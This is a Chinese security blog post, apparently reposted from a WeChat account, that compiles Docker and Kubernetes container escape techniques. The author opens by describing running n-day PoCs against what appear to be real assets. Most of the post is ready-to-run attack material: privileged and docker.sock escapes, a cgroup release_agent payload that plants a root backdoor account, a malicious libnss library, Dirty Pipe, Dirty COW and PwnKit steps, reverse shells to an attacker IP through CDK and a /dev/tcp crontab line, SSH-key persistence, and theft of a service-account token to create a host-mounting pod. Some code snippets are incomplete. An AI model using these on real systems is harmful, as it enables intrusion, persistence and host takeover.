Docker技法
前言
最近在学一些常见nday的深度利用,于是就用一些nday的poc在阿美的资产里面遨游一下,正当我高高兴兴在拿下shell时,不是哥们!这玩意不对啊,怎么默认在一个为/app的目录下,其他主机反弹shell后都在root等home目录下,为什么就他不一样。定睛一看,原来是个docker,于是就趁此机会,好好汇总一下docker逃逸的技法!!!那就先从docker基础开始看看吧。
Docker基础
先判断Dcoker环境
ls / -la #根目录下运行
出现关键词“.dockerenv”,如下
查看Docker状态
sudo systemctl status docker
列出所有docker环境
docker ps -a #所有,报错未存活docker ps #存活的docker
容器的详细信息
docker inspect <container-id or name>
进入运行中的容器bash
docker exec -it <container-id or name> bashdocker exec -it <container-id or name> shdocker exec -u 0 -it <container-id or name> bash #root进入运行
查看Docker的版本(内部、宿主机通用)
docker -vdocker version #更加详细
Docker渗透
Docker是主机下的镜像容器,他的bash、sh,并不等同于主机。相当于物理机下的虚拟机。有时候部分web站点可能就是docker搭建的,对于主机而言看似安全,其实不然。docker中也可能含有对主机有害的信息、渗透点,所以对于docker,我就总结了两种渗透方式,不过在这之前我们还是来了解了解docker的一个机制。挂载!
挂载
在docker中,挂载是一个很重要的概念,它往往与我们在渗透利用中挂钩,挂载大概来说就是docker的目录与宿主机的目录之间形成的映射,docker修改目录的内容,其宿主机默认也会进行同样的操作。但是docker会多一层权限限制,不过如果权限得当,则可以通过docker查看、修改、写入、执行文件,从而改变宿主机的目录、文件。
挂载的细节可以查看:https://blog.csdn.net/wang2leee/article/details/134453249
常规挂载操作
#在启动docker时进行挂载:docker run -v /proc:/host_proc 把宿主机的/proc挂载到docker的/host_proc#在docker内查看宿主机与docker的挂载关系mount
上述proc、devpts这种没有指定目录的挂载一般是docker的默认挂载,对我们的渗透没什么帮助,可以忽略。不过如果是以/proc开始,我们就要仔细关注了,光挂载是不够的,我们还要看看其挂载之后的属性带来的阻碍和利用。
所以我们从渗透的角度,看看挂载结果后面括号中的属性
|
|
|
|
ro/rw |
|
rw
/etc/passwd ,添加后门账户: echo 'eviluser:x:0:0::/:/bin/sh' >> /etc/passwd |
/etc )强制设为 ro |
nosuid |
|
find / -perm -4000 查找可利用的 SUID 文件) |
nosuid |
nodev |
|
mknod /dev/sda1 b 8 1 && mount /dev/sda1 /mnt |
nodev |
noexec |
|
/tmp )上传并执行恶意程序: gcc exploit.c -o /tmp/exp && /tmp/exp |
noexec |
size= |
tmpfs ) |
dd if=/dev/zero of=/dev/shm/fill bs=1M count=65536 |
size=64M 并监控使用情况 |
relatime |
|
stat -c %x /etc/shadow |
noatime 完全禁用访问时间记录 |
mode= |
|
mode=777 ),可篡改配置文件: echo 'ALL ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers |
mode=755 目录、644 文件) |
inode64 |
|
|
|
gid= |
|
gid=0 ),可通过组权限读取敏感文件: ls -l /etc/shadow → 发现组为 root 可读 |
gid=0 ) |
ptmxmode= |
|
ptmxmode=666 ),可劫持终端会话: cat /dev/ptmx > /tmp/log |
ptmxmode=620 并限制访问组 |
lowerdir= |
|
mkdir /merged && mount -t overlay overlay -o lowerdir=/etc,upperdir=/upper,workdir=/work /merged → 通过 /merged/passwd 读取宿主机文件 |
lowerdir 路径,禁止包含敏感目录 |
nsdelegate |
|
mkdir /sys/fs/cgroup/cpu/attacker && echo $$ > /sys/fs/cgroup/cpu/attacker/tasks |
memory_recursiveprot |
memory_recursiveprot |
|
echo 0 > /sys/fs/cgroup/memory/attacker/memory.limit_in_bytes |
|
基础了解完了,我们就步入正题——docker渗透!!!
1、信息泄露
当我们拿下了docker的shell之后,可能docker中的服务会有一些敏感信息泄露,例如nacos等服务其中可能就含有数据库的连接文件之类的。还有就是挂载了宿主的一些目录也可能存在一些泄露,如下面
mount | grep -E '/etc|/dev|/proc|/sys|/var/run' #通过检索可能的敏感挂载
检索到了下面的内容,我们进一步看一看
我最先关注点在/dev/sda
一般而言/dev/sda就是宿主机主要磁盘,其中会包含/dev/sda1、/dev/sda2、/dev/sda3等多个分区...,其中就挂载着根目录,所以我们的关注点大多在这个挂载之下,那就看看上面的/dev/sda2
挂载情况
看看这是什么?就不用多说了吧,hiahia!!!其次可以猜测,/dev/sda2可能是根目录,我们可以试试
紧接着我了解一下docker逃逸
2、Docker逃逸
在一些特定的情况下,可能存在从Docker逃逸到主机的方法,下面我们来一一介绍
Docker逃逸思路:
1、危险配置导致的逃逸
2、软件主键导致的逃逸
3、内核漏洞逃逸
4、网络与API攻击
5、特殊环境逃逸
一、危险配置导致的逃逸
1. Docker UNIX Socket 挂载
Docker UNIX Socket(/var/run/docker.sock
)是Docker守护进程(dockerd
)与客户端通信的接口,默认以root
权限运行。当容器挂载此Socket时,容器内的进程可通过Socket直接与宿主机Docker守护进程交互,继承守护进程的高权限,从而绕过容器隔离限制,实现对宿主机的控制。
前置:容器启动时挂载宿主 /var/run/docker.sock
# 在运行alpine容器时挂载 Docker Socketdocker run -v /var/run/docker.sock:/var/run/docker.sock -it alpine sh
利用:调用 Docker API 创造特权容器并挂载宿主文件系统
# 进入容器后查看是否有挂载ls -l /var/run/docker.sock # 检查文件是否存在mount | grep docker.sock # 确认挂载来源
上面就是没有挂载。若输出显示 docker.sock
的属主为 root
且权限为 rw
(如 srw-rw---- 1 root docker
),则运行下面命令来逃逸
docker -H unix:///var/run/docker.sock run -v /:/host --privileged -it --rm alpine chroot /host sh#这个命令相当于在docker内部建立了一个,宿主机的根目录下的root的shell命令行
执行后即可以 root 身份访问宿主
/
目录。
2. 特权模式(--privileged)
通过赋予容器与宿主机相同的 root 权限,绕过命名空间隔离,使可能够直接挂载宿主机文件系统(如 -v /:/host
)并通过 chroot
切换根目录,从而在容器内获得宿主机 root shell 的完整控制权,实现容器到宿主机的权限突破。
前置:容器以特权模式启动
docker run --privileged -v /:/mnt -it alpine sh
利用:挂载宿主磁盘并 chroot
cat /proc/self/status | grep CapEff # 特权容器 CapEff=0000003fffffffffmount | grep '/mnt'# 查看是否挂载宿主机根目录
这明显就没有以特权启动docker,而是以普通权限CapEff: 00000000a80425fb
,如果是以高权限用户,则使用一下命令即可逃逸
# 在容器内mount /dev/sda1 /mnt # 挂载宿主根分区chroot /mnt /bin/sh # 切换到宿主环境
之后可直接修改 /etc/passwd、植入 SSH 公钥等。
接下来就是有些危险挂载
3.Procfs 危险挂载
1. Procfs 挂载原理
/proc
目录 是 Linux 内核提供的虚拟文件系统,用于实时暴露进程、硬件、内核参数等信息。如果容器开启时挂载了宿主机的/proc目录,我们则可以通过docker直接访问到主机的进程信息。
1、读取环境变量:目录/proc/1/environ
,其中含有关键信息,并且如果配置不当会可以用于提权,这里扔一个环境变量提权的方法汇总:https://www.anquanke.com/post/id/146799#h2-0)
2、内核漏洞利用:通过 /proc/sys/kernel
可写路径(如 core_pattern
)或符号链接(如 /proc/[PID]/root
),触发内核漏洞(如 Dirty Pipe)或直接访问宿主机文件系统。
3、敏感信息泄露:/proc/self/mountinfo
泄露容器运行时路径,/proc/1/environ
泄露宿主机环境变量。
2. Procfs 探测方法
2.1 基础检测
# 检查是否挂载宿主机 /procmount | grep '/proc' | grep -v 'tmpfs'#有弊端,需要自己判断一下
上面这种情况就是属于docker自身的进程,默认挂载,只有出现/proc on /xxx_proc
这种最前面时/proc时才是挂载了宿主机的进程
#假设把宿主的/proc挂载到了/host_proc,则如下进行,验证读写权限(示例输出:rw 表示可写)grep '/host_proc' /proc/self/mountinfo | grep -o 'rw' | xargs -I {} echo"[!] /proc 权限: {}"
2.2 信息泄露验证
# 查看宿主机进程树(PID 1 是否为 dockerd?)cat /host_proc/1/cmdline | tr'�'' '# 检查宿主机内核版本(判断漏洞影响)cat /host_proc/version | grep -E "5.8|5.10|5.15"# Dirty Pipe 影响范围
3. Procfs 利用方法
3.1 信息收集
# 定位宿主机容器运行时路径(如 runC、Docker)cat /host_proc/1/mountinfo | grep 'docker/containers' | awk '{print $5}'
3.2 Dirty Pipe 覆盖宿主机二进制
# 1. 编写 PoC 覆盖宿主机 runC(需内核版本符合条件)cat > exploit.c <<EOF#include <fcntl.h>#include <unistd.h>int main(int argc, char **argv) { int fd = open(argv[1], O_RDWR); lseek(fd, 0, SEEK_SET); write(fd, "MALICIOUS_BYTES", 14); # 替换为恶意代码 close(fd);}EOF# 2. 编译并攻击gcc exploit.c -o exploit./exploit /host_proc/usr/bin/runc # 路径需根据信息收集调整
3.3 符号链接穿透
# 通过宿主机 PID 1 的 root 链接访问文件cat /host_proc/1/root/etc/shadow # 直接读取宿主机 Shadow 文件
4.Cgroup 危险挂载
1. Cgroup 挂载原理
-
• 功能:Cgroup 是 Linux 资源控制机制,用于限制进程的 CPU、内存等资源。 -
• 风险点: -
• release_agent 逃逸:若容器挂载可写的宿主机 Cgroup(如 -v /sys/fs/cgroup:/host_cgroup
),可配置release_agent
在宿主机执行任意命令。 -
• 资源耗尽攻击:滥用 Cgroup 子系统(如 memory
)触发内核 OOM Killer,干扰宿主机服务。 -
• 子系统漏洞:特定子系统(如 devices
)配置错误可能导致权限提升。
-
2. Cgroup 探测方法
2.1 基础检测
# 检查是否挂载宿主机 Cgroupmount | grep '/sys/fs/cgroup' | grep -v 'tmpfs'
这也是dockers自身的默认挂载,只有出现/sys/fs/cgroup on /xxx_cgroup
这种才是有漏洞的
#如果挂载了/sys/fs/cgroup,验证读写权限(示例输出:rw 表示可写)grep '/host_cgroup' /proc/self/mountinfo | grep -o 'rw' | xargs -I {} echo"[!] Cgroup 权限: {}"
2.2 release_agent 漏洞验证
# 尝试写入 release_agent(路径需宿主机可访问)echo"/tmp/payload" > /host_cgroup/release_agent 2>/dev/nullif [ $? -eq 0 ]; thenecho"[!] release_agent 可配置,存在逃逸风险!"fi# 检查是否允许创建新 Cgroupmkdir -p /host_cgroup/test && mount -t cgroup -o memory cgroup /host_cgroup/test 2>/dev/nullif [ $? -eq 0 ]; thenecho"[!] 可创建新 Cgroup(高危)!" umount /host_cgroup/test && rmdir /host_cgroup/testfi
3. Cgroup 利用方法
3.1 release_agent 逃逸
# 1. 创建恶意 Cgroupcg_dir="/host_cgroup/exploit"mkdir -p $cg_direcho 1 > $cg_dir/notify_on_release # 启用释放通知# 2. 设置宿主机执行路径(需路径转换,如 Docker 路径)host_path=$(cat /proc/self/mountinfo | grep 'docker/overlay2' | awk '{print $4}' | cut -d '/' -f 1-4)echo"$host_path/tmp/payload.sh" > /host_cgroup/release_agent# 3. 编写 Payloadcat > /tmp/payload.sh <<EOF#!/bin/shecho "eviluser:x:0:0::/:/bin/sh" >> /etc/passwd # 添加 root 用户EOFchmod +x /tmp/payload.sh# 4. 触发执行sh -c "echo $$ > $cg_dir/cgroup.procs"# 进程退出时触发
3.2 资源耗尽攻击
# 创建内存限制 Cgroup 并触发 OOMmkdir -p /host_cgroup/memory/oom_testecho"1000000" > /host_cgroup/memory/oom_test/memory.limit_in_bytesecho"0" > /host_cgroup/memory/oom_test/memory.swappinessecho $$ > /host_cgroup/memory/oom_test/cgroup.procstail /dev/zero | head -c 1000000000 # 触发 OOM Killer
二、软件组件漏洞利用
1. runC 漏洞(CVE‑2019‑5736)
可通过容器内恶意进程利用 /proc/[runc-PID]/exe
路径访问宿主机上的 runc
二进制文件,以可写方式覆盖其内容,当宿主机管理员执行 docker exec
等操作时,触发被篡改的 runc
执行任意代码(如反弹 Shell 或修改系统文件),最终以宿主机 root
权限突破容器隔离实现逃逸
前置:宿主 Docker ≤18.09.2,runC 未修补
# 在容器内下载并编译 PoCgit clone https://github.com/Frichetten/CVE-2019-5736-PoC.gitcd CVE-2019-5736-PoCgo build main.go./main要修改Poc中反弹shell的命令
成功后 PoC 会在宿主机
/tmp
下生成反弹 Shell。
很遗憾这个docker的版本太高了
不过也试试,可以看到好像是成功了,但是还是监听状态,等一阵之后再去看,貌似确实没上东西,希望不大
无从下手啊,看下一个
2. docker cp 符号链接漏洞(CVE‑2019‑14271)
1. 漏洞核心机制
Docker 的 docker cp
命令在复制文件时,会调用辅助进程 docker-tar
,该进程以宿主机 root 权限运行且 未完全容器化(未隔离 seccomp
/cgroups
)。当 docker-tar
通过 chroot
进入容器文件系统时,会加载容器内的动态库(如 libnss_files.so
),而可替换这些库注入恶意代码。所以说总的来说也是一个监听,需要宿主机进行交互才能实现
2. 漏洞利用步骤
(1)前置条件
-
• Docker 版本:19.03.1以上以及18.09以下都不受影响 -
• 容器权限:普通权限容器即可,无需特权模式
大概思路:
1、找到libnss_files.so.2
的源码,一般选取nss
路径下的files-init.c
源文件。
2、在源码中加入链接时启动代码(run_at_link
),并定义要执行的恶意函数。
(2)注入恶意动态库
-
1. 编译恶意 so 库:找到 libnss_files.so.2
的源码(https://ftp.gnu.org/gnu/glibc/glibc-2.31.tar.bz2下载glibc库,这里以`nss`路径下的`files-init.c`源文件为例),添加恶意代码。以下是一段示例恶意代码(实际操作中可根据测试需求修改):
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"boolis_priviliged();__attribute__ ((constructor)) voidrun_at_link(void){char * argv_break[2];if (!is_priviliged())return; rename(ORIGINAL_LIBNSS, LIBNSS_PATH);if (!fork()) {// Child runs breakout argv_break[0] = strdup("/breakout"); argv_break[1] = NULL; execve("/breakout", argv_break, NULL); }else wait(NULL); // Wait for childreturn;}boolis_priviliged(){ FILE * proc_file = fopen("/proc/self/exe", "r");if (proc_file != NULL) { fclose(proc_file);returnfalse; // can open so /proc exists, not privileged }returntrue; // we're running in the context of docker-tar}
使用 GCC 等编译器将修改后的源码编译成恶意的libnss_files.so.2
库。假设源码文件名为malicious_libnss.c
,在终端执行编译命令gcc -shared -fPIC -o libnss_files.so.2 malicious_libnss.c
。
准备恶意执行脚本(breakout 程序):编写一个简单的脚本作为恶意执行的程序,例如创建一个文件来证明漏洞利用成功。在测试主机上创建breakout
文件,内容如下:
#!/bin/bashecho"Exploit successful!" > /tmp/exploit_success.txt
赋予breakout
文件可执行权限,执行chmod +x breakout
。
将恶意文件放入容器:将编译好的恶意libnss_files.so.2
和breakout
文件复制到运行中的容器内。执行docker cp libnss_files.so.2 vulnerable:/lib/x86_64-linux-gnu/
和docker cp breakout vulnerable:/
,vulnerable
为容器名称。
当主机上执行docker cp
命令,从容器内复制文件到宿主机,触发漏洞。例如执行docker cp vulnerable:/etc/passwd /tmp/
,此时会触发恶意libnss_files.so.2
中的代码。执行完docker cp
命令后,检查测试主机上的/tmp/exploit_success.txt
文件是否存在。若存在,则说明漏洞复现成功,证明宿主机执行了容器内恶意代码。
漏洞复现全过程:https://blog.csdn.net/qq_41667409/article/details/121557358
很明显我这个docker版本肯定不存在该逃逸漏洞,主要证明就是,docker下的lib/x86_64-linux-gnu/都没有libnss_files.so.2文件
3. containerd‑shim 漏洞(CVE‑2020‑15257)
可在以 --net=host
模式启动的容器(需 root 权限)中,通过访问宿主机共享网络命名空间内的 containerd-shim
抽象 Unix 域套接字,调用其暴露的 API(如创建新容器或执行命令)并挂载宿主机根目录到容器路径,从而以宿主机 root
权限突破容器隔离并控制宿主机。
前置:
Docker 版本:containerd <1.3.9 或 <1.4.3(Docker 版本通常对应 19.03.6 及以下)
容器启动方式:需以 --net=host
模式运行,共享宿主机的网络命名空间,暴露 containerd-shim
的抽象 Unix 域套接字
docker run --net=host -it --pid=host alpine sh
2. 漏洞检测
-
1. 确认容器网络模式在容器内执行: cat /proc/net/unix | grep 'containerd-shim' | grep '@'
若输出类似
@/containerd-shim/{sha256}.sock
的路径,则存在暴露的套接字
3. 利用工具(自动化工具 CDK)
-
1. 上传 CDK 到容器 -
• 若容器支持文件上传,直接下载并赋予执行权限: wget https://github.com/cdk-team/CDK/releases/download/v1.5.0/cdk_linux_amd64 -O cdkchmod +x cdk
-
• 若容器无网络,可通过 nc 传输文件: # 宿主机监听端口(假设端口为 9999)nc -lvp 9999 < cdk# 容器内接收文件cat < /dev/tcp/宿主机IP/9999 > cdkchmod +x cdk
-
-
2. 执行逃逸命令 -
• 反弹 Shell 到攻击机(需攻击机监听端口): ./cdk run shim-pwn reverse 攻击机IP 监听端口
-
• 直接执行宿主机命令 ./cdk run shim-pwn "echo 'root::0:0::/:/bin/bash' >> /host_fs/etc/passwd" # 示例:修改宿主机密码文件
-
4. 手动利用(调用 containerd-shim API)
-
1. 定位套接字路径通过 /proc/net/unix
获取containerd-shim
套接字路径(如@/containerd-shim/abc123.sock
) -
2. 调用 API 创建恶意容器使用工具(如 grpcurl
)与套接字交互,创建挂载宿主机根目录的容器:# 示例:通过创建新容器挂载宿主机根目录到容器内grpcurl -unix /containerd-shim/abc123.sock containerd.runtime.v1.Shim/CreateTask <<< '{"id":"evil", "bundle":"/tmp", "rootfs": ["type=bind,source=/,destination=/host_fs,options=rbind"]}'
成功挂载后,通过容器内的
/host_fs
目录可直接读写宿主机文件系统 -
3. 提权与持久化写入 SSH 公钥 echo 'ssh-rsa AAAAB3NzaC1y...' >> /host_fs/root/.ssh/authorized_keys
修改 crontab
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/攻击机IP/端口 0>&1'" > /host_fs/etc/crontab
三、内核漏洞逃逸
为什么使用内核提权,因为Dcoker和宿主机是共享一个内核的,所以内核提权可以在Docker中实现提权的,但此处的提权仅限于在Docker内部,难道就不能实现docker逃逸了吗?可以,但是需要在特殊情况下!!!以下两种情况:
场景 | 是否逃逸到宿主机 | 依赖条件 |
仅容器内提权 |
|
/etc/passwd ),未挂载宿主机目录或调用宿主机接口。 |
宿主机逃逸 |
|
-v /:/host ,挂载根目录)。 2. 容器拥有高危权限(如 CAP_DAC_READ_SEARCH )。 |
前置条件查看
查看挂载配置
mount | grep -E '/etc|/dev|/proc|/sys|/var/run'
危险挂载示例:
/dev/sda1 on /host_fs type ext4 (rw) # 宿主机根目录被挂载且可写,在大多数 Linux 系统中,/dev/sda1 通常就是宿主机的根分区(/)。
如果挂在了根目录,我们就可以把/host类比宿主机的根目录一样,例如:执行cat /host_fs/etc/passwd
,效果就等同于在宿主机上执行cat /etc/passwd
2. 检查容器的 Capabilities(高危权限)
cat /proc/1/status | grep CapEff
输出解读:
-
• CapEff: 0000003fffffffff
→ 拥有几乎所有权限(特权容器)。 -
• CapEff: 00000000a80425fb
→ 普通权限(安全配置)。
1. Dirty Pipe(CVE‑2022‑0847)
Dirty Pipe 是 Linux 内核 5.8 及以上版本中存在的一个本地提权漏洞,允许非特权用户通过覆写只读文件的页面缓存(如 /etc/passwd
)实现权限提升。其核心原理是管道缓冲区标志位 PIPE_BUF_FLAG_CAN_MERGE
未正确初始化,导致可可通过拼接(splice
)和写入(write
)操作覆盖目标文件内容
前置:Linux 内核 ≥5.8 且未打补丁
uname -a # 检查内核版本是否符合漏洞范围git clone https://github.com/JlSakuya/CVE-2022-0847-container-escape.gitcd CVE-2022-0847-container-escapegcc exploit.c -o exploitmsfvenom -p linux/x64/exec CMD="bash" -f elf > shell.elf./exploit /usr/bin/runC shell.elf
PoC 会将
runC
替换为可执行 Shell 的 ELF,执行docker exec
即获得宿主 Shell。
配合
挂载的利用就很轻松了,这里直接给出配合高危权限(CapEff: 0000003fffffffff)的利用过程
步骤 1:确认容器权限
# 在容器内检查 Capabilitiescat /proc/1/status | grep CapEff
-
• 输出示例: CapEff: 0000003fffffffff
(包含CAP_DAC_READ_SEARCH
,16进制值中的第2位为1
)。
步骤 2:获取宿主机文件句柄
利用 open_by_handle_at
系统调用访问宿主机文件:
// 示例代码:获取宿主机 /etc/passwd 的文件描述符#define _GNU_SOURCE#include <fcntl.h>#include <sys/types.h>int main() { struct file_handle *handle; int mount_id; char buf[256]; // 获取挂载点信息(需 CAP_DAC_READ_SEARCH) sprintf(buf, "/etc/passwd"); handle = (struct file_handle *)malloc(sizeof(struct file_handle) + 256); handle->handle_bytes = 256; // 调用 open_by_handle_at int fd = open_by_handle_at(AT_FDCWD, handle, O_RDWR); return fd; // 返回文件描述符}
-
• 编译并运行: gcc get_fd.c -o get_fd./get_fd
步骤 3:结合 Dirty Pipe 覆盖文件
使用 Dirty Pipe EXP(如 CVE-2022-0847 PoC)修改宿主机文件:
# 通过获取的文件描述符覆盖宿主机 /etc/passwd./dirtypipe /proc/self/fd/<返回的fd> 1 "evilroot::0:0::/:/bin/bashn"
-
• 关键参数: -
• /proc/self/fd/<fd>
:通过文件描述符指向宿主机文件。 -
• 1
:从文件第1字节后开始覆盖。 -
• evilroot::...
:添加无密码 root 用户。
-
步骤 4:验证逃逸
在宿主机执行:
su evilroot # 直接获得宿主机 root 权限
后面的利用利用过程是差不多的,只是利用路径、内核提权的方式不同,所以依葫芦画瓢去做就行了,just do it!!!
2. Dirty COW(CVE‑2016‑5195)
通过触发 Linux 内核内存管理子系统中的写时复制(Copy-on-Write)竞态条件漏洞,在容器内以普通用户权限对宿主机挂载的只读文件(如 /etc/passwd
)发起并发内存映射操作(madvise
与 mprotect
),绕过文件权限检查,直接修改宿主机文件内容(如插入 evilroot::0:0::/:/bin/bash
),从而在宿主机层面注入特权用户,最终通过 su
或 SSH 认证获得宿主机 root 权限,穿透容器命名空间隔离。
前置:内核未修补 Dirty COW
git clone https://github.com/mdsecactive/DirtyCOW.gitcd DirtyCOWgcc dirtyc0w.c -o dirtyc0w -pthread./dirtyc0w /etc/passwd "root::0:0:root:/root:/bin/bash"
将
/etc/passwd
中 root 密码字段清空,实现本地提权。
3. Polkit 提权(CVE‑2021‑4034 PwnKit)
可在容器内通过伪造环境变量(如 GCONV_PATH
)诱使宿主机上的 pkexec
工具加载恶意代码,利用其 SUID 权限以宿主机 root 身份执行任意命令(如反弹 Shell 或篡改文件),从而突破容器隔离控制宿主机。
前置:Polkit (pkexec) 未修补
git clone https://github.com/antonioCoco/PwnKit.gitcd PwnKitgcc pwn.c -o pwnkit./pwnkit
利用 pkexec 漏洞获得 root,然后结合挂载进入宿主系统。
四、网络与 API 攻击
1. 未授权 Docker Remote API
未配置认证的 Docker Remote API(如 2375 端口)远程创建privileged特权容器,或挂载宿主机根目录(如 -v /:/mnt
),利用容器内进程对挂载目录的读写权限直接篡改宿主机敏感文件(如 /root/.ssh/authorized_keys
或 /etc/crontab
),从而植入后门或反弹 Shell,最终绕过容器隔离以宿主机 root 权限执行任意命令
前置:Docker daemon 暴露 2375 端口且无 TLS 认证
# 远程拉取并运行特权容器docker -H tcp://TARGET:2375 pull alpinedocker -H tcp://TARGET:2375 run -v /:/host --privileged -it alpine chroot /host sh
获得宿主机 root Shell。
2. Kubernetes API 滥用
Kubernetes错误配置,导致可以创建Pod,通过给 Kubernetes 集群中配置不当的 RBAC 权限或 Pod 安全策略(如允许创建特权容器或挂载宿主机目录),利用 API 创建挂载宿主机根目录(如 hostPath: /
)的恶意 Pod,在容器内直接读写宿主机文件系统(如篡改 /etc/crontab
或写入 SSH 密钥),从而以宿主机 root 权限执行任意命令,突破容器隔离控制集群节点。
前置:容器内可访问 /var/run/secrets/kubernetes.io/serviceaccount,需要用户登录认证,保证能使用Kubernetes API
# 提取 TokenTOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)# 提取 CA 证书CA_CERT="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"# 获取当前命名空间(通常为 Pod 所属的 Namespace)NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)# 获取 Kubernetes API Server 地址(通常是内部地址)API_SERVER="https://kubernetes.default.svc"
2. 配置 kubectl
使用 ServiceAccount Token
如果容器内已安装 kubectl
,可直接配置临时访问:
# 生成临时 kubeconfig 文件kubectl config set-cluster k8s --server="$API_SERVER" --certificate-authority="$CA_CERT"kubectl config set-credentials sa-user --token="$TOKEN"kubectl config set-context sa-context --cluster=k8s --user=sa-user --namespace="$NAMESPACE"kubectl config use-context sa-context
3. 创建挂载宿主机目录的恶意 Pod
使用提供的 YAML 文件 escape-pod.yaml
(下面):
# 检查是否具备创建 Pod 的权限kubectl auth can-i create pods --as=system:serviceaccount:$NAMESPACE:default# 提交恶意 Pod 配置kubectl apply -f escape-pod.yaml
4. 进入恶意 Pod 并逃逸到宿主机
# 进入 Pod 的容器kubectl exec -it hostpath-escape -- sh# 通过 chroot 切换根目录到宿主机文件系统chroot /host sh# 此时已进入宿主机环境,可执行任意操作echo "evilroot::0:0::/:/bin/bash" >> /etc/passwd # 示例:添加后门用户
5. 清理痕迹(可选)
# 删除恶意 Podkubectl delete pod hostpath-escape
无 kubectl
工具时的替代方案(直接调用 API)
若容器内无 kubectl
,可使用 curl
直接操作 Kubernetes API:
# 步骤1:在容器内提取集群信息TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)CA_CERT="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)API_SERVER="https://kubernetes.default.svc"# 步骤2:生成恶意 Pod YAML 文件cat <<EOF > escape-pod.yamlapiVersion: v1kind: Podmetadata: name: hostpath-escapespec: containers: - name: escape image: alpine command: ["sh","-c","sleep 3600"] volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: /EOF# 步骤3:构造 API URL 并发送请求API_URL="$API_SERVER/api/v1/namespaces/$NAMESPACE/pods"curl -k -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/yaml" --data-binary @escape-pod.yaml --cacert "$CA_CERT" "$API_URL"
利用 ServiceAccount Token 调用
kubectl
创建此 Pod。
五、特殊环境逃逸
1. macOS 容器逃逸
前置:Docker Desktop for Mac 使用 HyperKit
# 挂载宿主 docker.sock 并启动docker run -v /var/run/docker.sock:/var/run/docker.sock -it alpine sh# 同“Unix Socket 挂载”方法,创建特权容器docker -H unix:///var/run/docker.sock run -v /:/host --privileged -it alpine chroot /host sh
集成在多数通用 PoC 工具中。
2. Windows 容器逃逸
前置:利用 Hyper‑V 隔离或 Windows 内核漏洞
# 在 Windows 容器内下载并执行 PoCInvoke-WebRequest-Uri https://example.com/CVE-2021-34484-WindowsEscape.exe -OutFile C:exploit.exe.exploit.exe
PoC 会利用指定 CVE 提权并脱离容器沙箱。
清理痕迹
docker container prune -fdocker image prune -af
原文始发于微信公众号(The One安全):【容器安全】Docker逃逸技法大全:从基础到实战,突破容器隔离的终极指南
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论